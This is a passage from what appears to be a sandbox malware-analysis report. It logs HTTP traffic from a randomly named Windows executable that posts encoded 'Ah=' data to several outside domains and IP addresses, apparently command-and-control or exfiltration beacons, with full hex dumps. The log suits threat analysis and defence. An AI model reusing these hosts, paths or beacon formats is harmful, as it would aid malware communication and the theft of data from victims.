Sep 27, 2024 17:31:37.480252981 CEST	409	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 27 Sep 2024 15:31:37 GMT Content-Type: text/html Content-Length: 269 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 36 52 47 44 3d 72 38 65 48 77 6e 4d 70 62 32 64 78 4b 26 41 68 3d 5a 7a 67 71 68 38 4c 73 61 32 6b 4f 6d 4f 4e 4f 65 44 2f 2b 77 42 33 51 50 78 51 4b 69 4c 4f 36 37 70 78 53 43 37 68 50 4d 70 4f 47 31 5a 31 56 66 68 58 57 71 31 2f 65 36 6c 52 79 52 63 78 6c 68 48 33 56 42 68 31 6b 69 76 4c 43 34 45 6f 55 34 48 72 6d 51 6e 45 51 56 48 69 4e 54 69 4b 6f 48 32 72 78 33 58 49 71 76 73 72 72 79 38 67 7a 44 37 2f 62 42 44 38 6d 52 6a 4e 77 68 65 42 78 59 67 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?6RGD=r8eHwnMpb2dxK&Ah=Zzgqh8Lsa2kOmONOeD/+wB3QPxQKiLO67pxSC7hPMpOG1Z1VfhXWq1/e6lRyRcxlhH3VBh1kivLC4EoU4HrmQnEQVHiNTiKoH2rx3XIqvsrry8gzD7/bBD8mRjNwheBxYg=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	63719	85.159.66.93	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:42.600414038 CEST	862	OUT	POST /zmf1/ HTTP/1.1 Host: www.sppsuperplast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 203 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.sppsuperplast.online Referer: http://www.sppsuperplast.online/zmf1/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 39 53 49 54 52 6f 62 76 71 56 63 58 44 33 57 67 34 31 6a 39 55 79 6b 53 34 53 47 77 47 58 36 70 52 58 2f 43 47 4e 73 78 4a 69 33 64 52 33 36 6c 74 33 6a 61 43 78 38 65 4f 33 59 77 42 74 43 46 46 42 34 78 38 6b 75 71 71 66 49 34 48 38 4e 76 51 52 67 33 77 50 52 63 72 4a 7a 5a 37 71 67 65 34 74 38 73 52 44 6d 41 68 48 31 6e 51 37 61 7a 61 4a 32 4a 31 47 36 2b 39 66 5a 78 2b 5a 57 51 33 69 72 6b 39 63 6b 66 6f 2b 71 7a 36 5a 70 32 63 57 76 6f 35 32 72 66 48 74 71 67 71 5a 52 74 59 2b 70 68 5a 33 64 31 77 65 2b 33 37 37 6c 57 57 2f 44 4d 41 51 76 38 56 5a 76 66 2f 63 37 6c 75 46 4f 4d 68 68 49 3d Data Ascii: Ah=9SITRobvqVcXD3Wg41j9UykS4SGwGX6pRX/CGNsxJi3dR36lt3jaCx8eO3YwBtCFFB4x8kuqqfI4H8NvQRg3wPRcrJzZ7qge4t8sRDmAhH1nQ7azaJ2J1G6+9fZx+ZWQ3irk9ckfo+qz6Zp2cWvo52rfHtqgqZRtY+phZ3d1we+377lWW/DMAQv8VZvf/c7luFOMhhI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	63720	85.159.66.93	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:45.148454905 CEST	882	OUT	POST /zmf1/ HTTP/1.1 Host: www.sppsuperplast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 223 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.sppsuperplast.online Referer: http://www.sppsuperplast.online/zmf1/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 39 53 49 54 52 6f 62 76 71 56 63 58 41 57 6d 67 2b 57 4c 39 63 79 6b 64 68 53 47 77 4d 33 36 58 52 58 44 43 47 4a 30 68 4f 51 54 64 51 58 71 6c 69 57 6a 61 46 78 38 65 57 48 59 35 63 39 43 65 46 42 6b 35 38 68 4f 71 71 62 67 34 48 34 4a 76 51 6d 30 30 69 50 52 65 6b 70 7a 48 6c 61 67 65 34 74 38 73 52 44 7a 74 68 44 5a 6e 58 49 53 7a 62 73 43 49 34 6d 36 39 71 76 5a 78 6f 5a 58 58 33 69 71 44 39 63 55 6c 6f 38 69 7a 36 64 68 32 64 44 44 70 73 47 72 64 5a 74 72 63 75 72 49 46 57 4e 46 2f 51 6b 31 77 6e 2f 58 4b 2b 4e 49 38 4d 64 4c 6b 54 77 44 45 46 4b 6e 6f 75 73 61 4d 30 6d 65 38 2f 32 65 33 50 39 6e 2b 72 74 76 35 67 51 73 4c 67 4a 7a 68 2b 59 47 32 Data Ascii: Ah=9SITRobvqVcXAWmg+WL9cykdhSGwM36XRXDCGJ0hOQTdQXqliWjaFx8eWHY5c9CeFBk58hOqqbg4H4JvQm00iPRekpzHlage4t8sRDzthDZnXISzbsCI4m69qvZxoZXX3iqD9cUlo8iz6dh2dDDpsGrdZtrcurIFWNF/Qk1wn/XK+NI8MdLkTwDEFKnousaM0me8/2e3P9n+rtv5gQsLgJzh+YG2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	63721	85.159.66.93	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:47.694169044 CEST	1899	OUT	POST /zmf1/ HTTP/1.1 Host: www.sppsuperplast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 1239 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.sppsuperplast.online Referer: http://www.sppsuperplast.online/zmf1/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 39 53 49 54 52 6f 62 76 71 56 63 58 41 57 6d 67 2b 57 4c 39 63 79 6b 64 68 53 47 77 4d 33 36 58 52 58 44 43 47 4a 30 68 4f 51 62 64 52 6b 53 6c 6a 31 4c 61 45 78 38 65 49 33 59 38 63 39 44 47 46 42 73 39 38 68 4b 51 71 64 6b 34 47 62 42 76 57 54 59 30 34 66 52 65 38 70 7a 61 37 71 68 44 34 74 73 6f 52 44 6a 74 68 44 5a 6e 58 4f 32 7a 53 5a 32 49 2b 6d 36 2b 39 66 5a 74 2b 5a 58 7a 33 68 61 35 39 64 67 50 76 4e 43 7a 37 39 78 32 62 31 58 70 75 6d 72 62 63 74 72 45 75 72 30 61 57 4e 5a 7a 51 6b 77 66 6e 38 48 4b 39 4b 68 31 4a 66 2f 61 48 54 62 59 4f 72 6a 43 77 37 65 56 37 47 69 64 79 47 65 78 50 64 75 55 71 34 50 65 6f 7a 56 66 79 6f 6e 4f 35 2b 33 41 2b 68 6f 71 51 4f 56 56 66 35 76 71 42 58 51 30 2f 37 37 62 47 37 75 59 4f 45 49 43 63 65 41 63 66 79 5a 35 30 71 56 74 50 58 48 75 71 4e 70 5a 64 51 7a 4f 66 69 74 2f 52 42 70 41 76 73 44 45 65 61 30 6b 64 48 68 6e 39 63 55 68 57 6b 61 4c 78 59 51 68 31 79 63 46 67 54 71 4c 58 57 47 4c 33 62 6d 46 56 2b 72 45 2b 7a 75 43 67 42 41 35 50 4a 2b [TRUNCATED] Data Ascii: Ah=9SITRobvqVcXAWmg+WL9cykdhSGwM36XRXDCGJ0hOQbdRkSlj1LaEx8eI3Y8c9DGFBs98hKQqdk4GbBvWTY04fRe8pza7qhD4tsoRDjthDZnXO2zSZ2I+m6+9fZt+ZXz3ha59dgPvNCz79x2b1XpumrbctrEur0aWNZzQkwfn8HK9Kh1Jf/aHTbYOrjCw7eV7GidyGexPduUq4PeozVfyonO5+3A+hoqQOVVf5vqBXQ0/77bG7uYOEICceAcfyZ50qVtPXHuqNpZdQzOfit/RBpAvsDEea0kdHhn9cUhWkaLxYQh1ycFgTqLXWGL3bmFV+rE+zuCgBA5PJ+4/Sn/vhg8Fk91825bAY9wmorxrNZ/6bVrh0eI4bSgOwkOoXU0+8ylgfNA0Mpx9r0igfKzWcNVM1F+d6+mlfFUR/Cp0eeJq+KjEArcHk8q/iyxEq7IvQwcH9Qq7pic4c77iWwpgDvzG3i+yosmbEWRLUGFSDMTrXWyrfEyXQ0huZQBaJQi3PmE9BvZSFE+7sKNS02XdvDvY99OORsAkYHvoa0+dh+K2QeTGtMyeloRY5yZ8xHkum9R4wgQ4amDWaktQFCkqU7u3xXe2oBQK052cU4ggRtoye98hTh8IMQto3lH1AA4CVvp/ESTcPeY8zNEg4tYm7mebKCHakprTpS3f3xlwrG2uS+qMEl9UFcZi6A68e4wsccFluOVbHIFhOr0cVbkhFJFRz8OGQM3uiGaZ5AiyaeauJGoo+C9cqd/6o+lYyMOJf69ajkrOkp+AJB+JQhTaJt29+yT8B+GhN3m7LWENRWUvgccjGKdQLiZUUz+3AH1I9FZuPc8swWKjClBw4yU8eAh017zuOVtstm4qy3eNZyhrVMq/22zxK7jjlJvAxAsMYjvz3jPSV2p8UP3A/0T0BXJ7wQiW7lkxwhDPhgSFWdBzJ53wltDoiWunU5Z/kmiDkn0WUMeO/9G6clvF5Hi8kxiydCDfAEcx7+WIXdWtPTOIFH+K [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	63722	85.159.66.93	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:50.235347033 CEST	592	OUT	GET /zmf1/?Ah=wQgzSdKeo0kEfEOz4RbofRMggT2xbAKfRVneK/8vOxPjchK4g13SHjFeWQ1KQd6iPh0o+E7CiOJrL4NuVjgo/c0di4XWtbQHuM4tDDSwmQdaf4WdVMWT5U3p3+pOk6ad0A==&6RGD=r8eHwnMpb2dxK HTTP/1.1 Host: www.sppsuperplast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Sep 27, 2024 17:31:50.929873943 CEST	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Fri, 27 Sep 2024 15:31:50 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-09-27T15:31:55.8118827Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	63723	160.251.148.20	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:56.465771914 CEST	841	OUT	POST /bie8/ HTTP/1.1 Host: www.nojamaica.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 203 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.nojamaica.net Referer: http://www.nojamaica.net/bie8/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 42 43 58 55 41 77 35 56 47 54 65 68 39 76 4a 4c 7a 7a 4d 59 66 61 47 63 2b 45 54 39 69 55 51 64 65 45 6d 42 70 6f 4d 64 67 5a 39 72 59 75 64 6a 43 4a 53 37 36 33 75 56 42 34 4f 45 61 4a 32 2f 73 6b 52 74 59 73 45 53 56 58 4a 77 41 4c 6c 65 7a 46 49 4f 4e 71 6d 4f 74 6c 47 38 50 63 56 62 42 4e 35 6d 37 69 67 6b 4c 56 74 38 73 45 68 6d 2f 6f 4d 65 54 4c 34 32 47 62 35 33 45 49 65 38 70 68 33 4c 58 61 75 79 46 42 68 6b 34 76 36 4e 70 2b 30 46 72 31 6f 59 77 31 67 6e 77 2b 78 4c 2f 62 4a 49 6e 64 51 68 38 57 59 4f 72 38 78 76 4a 32 4e 43 6b 52 37 50 57 37 4f 77 2f 70 68 43 78 39 75 71 4d 56 67 3d Data Ascii: Ah=BCXUAw5VGTeh9vJLzzMYfaGc+ET9iUQdeEmBpoMdgZ9rYudjCJS763uVB4OEaJ2/skRtYsESVXJwALlezFIONqmOtlG8PcVbBN5m7igkLVt8sEhm/oMeTL42Gb53EIe8ph3LXauyFBhk4v6Np+0Fr1oYw1gnw+xL/bJIndQh8WYOr8xvJ2NCkR7PW7Ow/phCx9uqMVg=
Sep 27, 2024 17:31:57.286891937 CEST	377	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 27 Sep 2024 15:31:57 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e bd 0e 82 30 14 85 f7 3e c5 95 5d 2e 1a c6 a6 83 02 91 04 91 98 32 38 62 7a 4d 49 90 22 2d 1a df de 02 8b e3 f9 fb 72 f8 26 b9 1c e5 ad 4a e1 24 cf 05 54 f5 a1 c8 8f 10 6c 11 f3 54 66 88 89 4c d6 64 1f 46 88 69 19 08 c6 b5 7b 76 82 6b 6a 94 17 ae 75 1d 89 38 8a a1 34 0e 32 33 f5 8a e3 6a 32 8e 4b 89 df 8d fa ce bb 9d f8 eb 78 c5 f8 20 a4 26 18 e9 35 91 75 a4 a0 be 16 f0 69 2c f4 9e f5 98 59 60 7a 70 ba b5 60 69 7c d3 18 72 1c fc 0c 17 a2 c7 cf 4f d8 0f f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: acM0>].28bzMI"-r&J$TlTfLdFi{vkju8423j2Kx &5ui,Y`zp`i\|rO\|<0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	63725	160.251.148.20	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:59.012377024 CEST	861	OUT	POST /bie8/ HTTP/1.1 Host: www.nojamaica.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 223 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.nojamaica.net Referer: http://www.nojamaica.net/bie8/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 42 43 58 55 41 77 35 56 47 54 65 68 39 4c 31 4c 78 51 30 59 59 36 47 64 79 6b 54 39 37 6b 51 5a 65 45 71 42 70 70 34 4e 31 36 5a 72 62 50 74 6a 44 49 53 37 32 58 75 56 4f 59 50 41 43 70 33 78 73 6b 4d 51 59 74 34 53 56 58 4e 77 41 4a 39 65 7a 30 49 4a 4f 61 6d 49 6e 31 47 36 41 38 56 62 42 4e 35 6d 37 69 30 4b 4c 56 31 38 73 77 64 6d 74 5a 4d 5a 61 72 34 33 51 4c 35 33 41 49 66 37 70 68 33 6c 58 62 79 55 46 48 74 6b 34 71 65 4e 6f 76 30 45 38 6c 6f 53 36 56 67 32 36 65 30 68 34 36 31 70 6d 2b 56 69 73 32 49 54 6e 71 63 46 54 55 46 71 33 78 58 33 47 6f 47 48 75 5a 41 72 72 65 2b 61 53 43 30 55 55 52 47 4c 76 38 6b 45 62 67 6c 31 56 6d 32 53 32 64 65 41 Data Ascii: Ah=BCXUAw5VGTeh9L1LxQ0YY6GdykT97kQZeEqBpp4N16ZrbPtjDIS72XuVOYPACp3xskMQYt4SVXNwAJ9ez0IJOamIn1G6A8VbBN5m7i0KLV18swdmtZMZar43QL53AIf7ph3lXbyUFHtk4qeNov0E8loS6Vg26e0h461pm+Vis2ITnqcFTUFq3xX3GoGHuZArre+aSC0UURGLv8kEbgl1Vm2S2deA
Sep 27, 2024 17:31:59.822199106 CEST	377	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 27 Sep 2024 15:31:59 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e bd 0e 82 30 14 85 f7 3e c5 95 5d 2e 1a c6 a6 83 02 91 04 91 98 32 38 62 7a 4d 49 90 22 2d 1a df de 02 8b e3 f9 fb 72 f8 26 b9 1c e5 ad 4a e1 24 cf 05 54 f5 a1 c8 8f 10 6c 11 f3 54 66 88 89 4c d6 64 1f 46 88 69 19 08 c6 b5 7b 76 82 6b 6a 94 17 ae 75 1d 89 38 8a a1 34 0e 32 33 f5 8a e3 6a 32 8e 4b 89 df 8d fa ce bb 9d f8 eb 78 c5 f8 20 a4 26 18 e9 35 91 75 a4 a0 be 16 f0 69 2c f4 9e f5 98 59 60 7a 70 ba b5 60 69 7c d3 18 72 1c fc 0c 17 a2 c7 cf 4f d8 0f f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: acM0>].28bzMI"-r&J$TlTfLdFi{vkju8423j2Kx &5ui,Y`zp`i\|rO\|<0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	63726	160.251.148.20	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:32:01.550728083 CEST	1878	OUT	POST /bie8/ HTTP/1.1 Host: www.nojamaica.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 1239 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.nojamaica.net Referer: http://www.nojamaica.net/bie8/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 42 43 58 55 41 77 35 56 47 54 65 68 39 4c 31 4c 78 51 30 59 59 36 47 64 79 6b 54 39 37 6b 51 5a 65 45 71 42 70 70 34 4e 31 36 52 72 62 39 6c 6a 43 72 36 37 33 58 75 56 51 6f 50 4e 43 70 33 38 73 6b 46 58 59 74 30 64 56 56 46 77 53 63 68 65 34 6d 67 4a 56 71 6d 49 76 56 47 37 50 63 56 4f 42 4d 56 69 37 69 6b 4b 4c 56 31 38 73 78 4e 6d 36 59 4d 5a 59 72 34 32 47 62 35 72 45 49 66 66 70 69 47 59 58 59 65 45 46 33 4e 6b 35 4b 75 4e 71 64 63 45 2f 46 6f 55 35 56 68 72 36 66 49 36 34 36 70 62 6d 39 4a 63 73 30 6f 54 6a 62 78 6d 55 77 64 74 74 41 4c 73 42 4b 2b 78 34 73 6f 52 6b 76 4b 2b 59 31 41 4b 52 69 61 39 71 71 49 77 5a 53 38 2f 57 44 2b 43 37 64 6a 4a 70 6d 34 6b 61 57 66 47 71 53 4a 2f 36 67 68 6b 63 35 4f 79 31 33 6c 4e 72 69 54 55 50 6b 72 43 42 67 4d 2f 6f 6c 61 47 67 70 69 42 57 4d 58 37 6a 56 36 6c 71 36 68 41 57 42 75 4d 30 75 72 4c 2b 70 4f 39 4a 72 56 64 78 59 33 79 79 71 4a 78 59 49 67 62 47 6d 52 6f 53 52 4a 71 31 4c 35 37 43 49 76 32 61 58 43 61 53 67 48 55 38 48 76 44 54 73 34 [TRUNCATED] Data Ascii: Ah=BCXUAw5VGTeh9L1LxQ0YY6GdykT97kQZeEqBpp4N16Rrb9ljCr673XuVQoPNCp38skFXYt0dVVFwSche4mgJVqmIvVG7PcVOBMVi7ikKLV18sxNm6YMZYr42Gb5rEIffpiGYXYeEF3Nk5KuNqdcE/FoU5Vhr6fI646pbm9Jcs0oTjbxmUwdttALsBK+x4soRkvK+Y1AKRia9qqIwZS8/WD+C7djJpm4kaWfGqSJ/6ghkc5Oy13lNriTUPkrCBgM/olaGgpiBWMX7jV6lq6hAWBuM0urL+pO9JrVdxY3yyqJxYIgbGmRoSRJq1L57CIv2aXCaSgHU8HvDTs4Lqa7tyR8FmDB4uvugykIZX64HDiKMpf+OmlyaxFECNA/XD9480lEahpvSrfzIRx2wKlR4tJzqp+SWg1H/9EWilkvbNMuxreib6t++Io+Ld4fJJ81ovMl3yl6627xYnkQmWb/tDmj3wW+9A1eC29XHSXyWNu1/v37sW8eV9+hWu9RCQbloc5AYamwEQzEoGomG8GKw4NQLtJuQshn+sLYamI0opIe1L1F8pICNO3WowMnDvDR7JBQmsqlFE1Su88oIAUHl+Uk4z6etCRFcPvoKT9JAORCn8p2bXed22CVW1t4XrPs1J1ri60ROuL5JHSqRBjJ4wZ0x6Y2tId6JTrIOWVoRK8MT76cfYOL1uYjJaCAI31JTCgoseh6p+jJDi4qo+ZFRxl+6NP0mL3a7ZfDeSBfwrunXn9A6rLcAF4ZehoBA9bPD14K8j4LOjwS4qo3Ul3ob9jDOsVDwtsWFDnfXABqWsxWFUa6D2LXNQgpxJLWGxOfvy9pKPdpaan999wi9m3ahDRF4Wbv7kqMZzzEd/NGwaAL+qOP6qmrOrrMLY9b3k4dC74BpeL4HeeEVzs6VyB0GK1E/Er7wOoQNdca4oKur396O9Z6HgYRCTG6oDpCchMTeWr0HZKVhM6LXJ1BkFEdEDueNazGKd+Ty5Az1gPQ6BcLWj5xcK [TRUNCATED]
Sep 27, 2024 17:32:02.544923067 CEST	377	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 27 Sep 2024 15:32:02 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e bd 0e 82 30 14 85 f7 3e c5 95 5d 2e 1a c6 a6 83 02 91 04 91 98 32 38 62 7a 4d 49 90 22 2d 1a df de 02 8b e3 f9 fb 72 f8 26 b9 1c e5 ad 4a e1 24 cf 05 54 f5 a1 c8 8f 10 6c 11 f3 54 66 88 89 4c d6 64 1f 46 88 69 19 08 c6 b5 7b 76 82 6b 6a 94 17 ae 75 1d 89 38 8a a1 34 0e 32 33 f5 8a e3 6a 32 8e 4b 89 df 8d fa ce bb 9d f8 eb 78 c5 f8 20 a4 26 18 e9 35 91 75 a4 a0 be 16 f0 69 2c f4 9e f5 98 59 60 7a 70 ba b5 60 69 7c d3 18 72 1c fc 0c 17 a2 c7 cf 4f d8 0f f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: acM0>].28bzMI"-r&J$TlTfLdFi{vkju8423j2Kx &5ui,Y`zp`i\|rO\|<0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	63727	160.251.148.20	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:32:04.095128059 CEST	585	OUT	GET /bie8/?Ah=MA/0DFY0DiyH2olo7m8hVrrP5UH/jhcgcmWioqAK+793cplJM4qg3DyTQ66FMurZmF9Te+JpNl4zVYtM50IcS4zemXuWAdJhdKdflRI3BWRfqiAf3s5RU6wyOr9MBb+x+g==&6RGD=r8eHwnMpb2dxK HTTP/1.1 Host: www.nojamaica.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Sep 27, 2024 17:32:04.944849014 CEST	359	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 27 Sep 2024 15:32:04 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 196 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	63728	208.91.197.39	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:32:10.442198038 CEST	850	OUT	POST /xf5b/ HTTP/1.1 Host: www.alphaaistore.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 203 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.alphaaistore.com Referer: http://www.alphaaistore.com/xf5b/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 57 57 30 63 48 71 70 76 57 45 65 78 63 44 32 64 48 74 5a 77 71 4c 35 43 6e 42 76 73 57 30 69 33 65 49 39 31 47 30 34 4f 51 41 6c 5a 4c 6c 73 72 65 76 55 4f 4d 6c 4e 41 53 30 4f 79 65 7a 46 61 71 53 62 56 4d 63 6e 59 4f 73 